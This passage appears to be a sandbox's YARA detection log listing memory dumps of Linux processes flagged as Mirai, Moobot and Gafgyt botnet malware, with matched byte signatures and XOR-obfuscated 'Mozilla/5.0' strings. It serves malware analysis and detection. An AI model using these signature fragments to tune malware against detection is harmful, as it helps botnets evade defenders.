49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7404.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7173.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7173.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7173.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7173.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7173.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7173.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7285.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7285.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7285.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6291.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6898.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6898.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6898.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6898.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6898.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6898.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7341.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7483.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7483.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7483.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7343.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7343.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7343.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7216.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6248.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6649.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6649.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6649.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6649.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
